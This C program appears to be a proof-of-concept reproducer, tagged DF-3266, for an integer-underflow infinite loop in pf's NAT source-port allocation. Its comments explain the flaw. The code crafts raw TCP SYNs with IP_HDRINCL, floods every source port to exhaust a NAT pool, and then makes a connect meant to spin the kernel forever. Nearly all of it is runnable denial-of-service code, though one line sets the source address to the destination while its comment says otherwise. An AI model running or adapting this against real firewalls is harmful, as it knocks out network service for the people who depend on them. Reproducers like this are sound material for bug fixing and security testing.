/*
 * DF-3266: fill every candidate port of a pf NAT pool whose range includes
 * port 0 ("port 0:65535"), then make one more connection.  When all
 * candidate ports are occupied, pf_get_sport()'s downward search loop
 *
 *	for (tmp = cut - 1; tmp >= low; --(tmp)) { ... }   pf.c:3033-3050
 *
 * with low==0 and u_int16_t tmp underflows at tmp==0 -> 0xffff, the
 * condition is always true, and (all ports busy) the loop never exits:
 * the connecting thread spins forever inside pf NAT translation.
 *
 * Filling is done by injecting raw TCP SYNs (IP_HDRINCL) with distinct
 * source ports 1..65535 through the NAT interface: each SYN makes pf
 * allocate one translated port from the pool for its 5-tuple.
 *
 * usage: fillsyn <dst-ip> <dst-port> [fill|trigger]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <sys/types.h>
#include <sys/socket.h>

struct pseudo {
	uint32_t src, dst;
	uint8_t  zero, proto;
	uint16_t tcplen;
};

static uint16_t
cksum(const void *p, int len)
{
	const uint16_t *w = p;
	uint32_t sum = 0;

	while (len > 1) { sum += *w++; len -= 2; }
	if (len == 1) sum += *(const uint8_t *)w;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return ~sum;
}

static void
send_syn(int s, in_addr_t src, in_addr_t dst, uint16_t sport, uint16_t dport)
{
	unsigned char pkt[20 + 20];
	struct {
		uint8_t  ihl_ver, tos;
		uint16_t totlen, id, frag;
		uint8_t  ttl, proto;
		uint16_t csum;
		uint32_t src, dst;
	} ip;
	struct {
		uint16_t sport, dport;
		uint32_t seq, ack;
		uint8_t  off, flags;
		uint16_t win, csum, urp;
	} tcp;

	memset(&ip, 0, sizeof(ip));
	ip.ihl_ver = 0x45;
	ip.totlen = htons(40);
	ip.ttl = 64;
	ip.proto = IPPROTO_TCP;
	ip.src = src;
	ip.dst = dst;

	memset(&tcp, 0, sizeof(tcp));
	tcp.sport = htons(sport);
	tcp.dport = htons(dport);
	tcp.seq = arc4random();
	tcp.off = 0x50;
	tcp.flags = 0x02;          /* SYN */
	tcp.win = htons(8192);

	memcpy(pkt, &ip, 20);
	memcpy(pkt + 20, &tcp, 20);
	/* correct TCP checksum so pf does not drop the injected SYNs (a bad
	   csum gets EPERM back from ip_output under an enabled pf) */
	{
		struct pseudo ph;
		unsigned char phdr[12 + 20];
		memset(&ph, 0, sizeof(ph));
		ph.src = src; ph.dst = dst; ph.zero = 0;
		ph.proto = IPPROTO_TCP; ph.tcplen = htons(20);
		memcpy(phdr, &ph, 12);
		memcpy(phdr + 12, pkt + 20, 20);
		((uint16_t *)(pkt + 20))[8] = cksum(phdr, 32);
	}

	if (send(s, pkt, 40, 0) < 0) {
		if (errno != ENOBUFS)
			fprintf(stderr, "send sport %u: %s\n", sport, strerror(errno));
	}
}

int
main(int argc, char **argv)
{
	in_addr_t dst;
	struct sockaddr_in sa;
	int s, sport, dport;

	if (argc < 4) {
		fprintf(stderr, "usage: fillsyn <dst-ip> <dst-port> <fill|trigger>\n");
		return 2;
	}
	dport = atoi(argv[2]);
	dst = inet_addr(argv[1]);

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("socket raw"); return 2; }
	int one = 1;
	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
		{ perror("IP_HDRINCL"); return 2; }
	memset(&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET;
	sa.sin_addr.s_addr = dst;
	if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0)
		{ perror("connect"); return 2; }

	in_addr_t src = sa.sin_addr.s_addr;   /* any; kernel picks route src */

	if (!strcmp(argv[3], "fill")) {
		fprintf(stderr, "injecting SYN for every source port 1..65535 -> "
			"%s:%d\n", argv[1], dport);
		for (sport = 1; sport <= 65535; sport++)
			send_syn(s, src, dst, sport, dport);
		/* one more: consumes translated port 0, saturating the pool */
		send_syn(s, src, dst, 7777, dport);
		fprintf(stderr, "fill done\n");
		return 0;
	}

	/* trigger: a plain TCP connect to the same destination */
	{
		int fd;
		struct sockaddr_in tsa;
		fd = socket(AF_INET, SOCK_STREAM, 0);
		if (fd < 0) { perror("tcp socket"); return 2; }
		memset(&tsa, 0, sizeof(tsa));
		tsa.sin_family = AF_INET;
		tsa.sin_port = htons(dport);
		tsa.sin_addr.s_addr = dst;
		printf("connecting to %s:%d -- if all pool ports are busy this "
		       "never returns (pf.c:3033 loop)\n", argv[1], dport);
		fflush(stdout);
		if (connect(fd, (struct sockaddr *)&tsa, sizeof(tsa)) < 0)
			printf("connect returned errno %d (%s)\n", errno, strerror(errno));
		else
			printf("connect succeeded?!\n");
	}
	return 0;
}
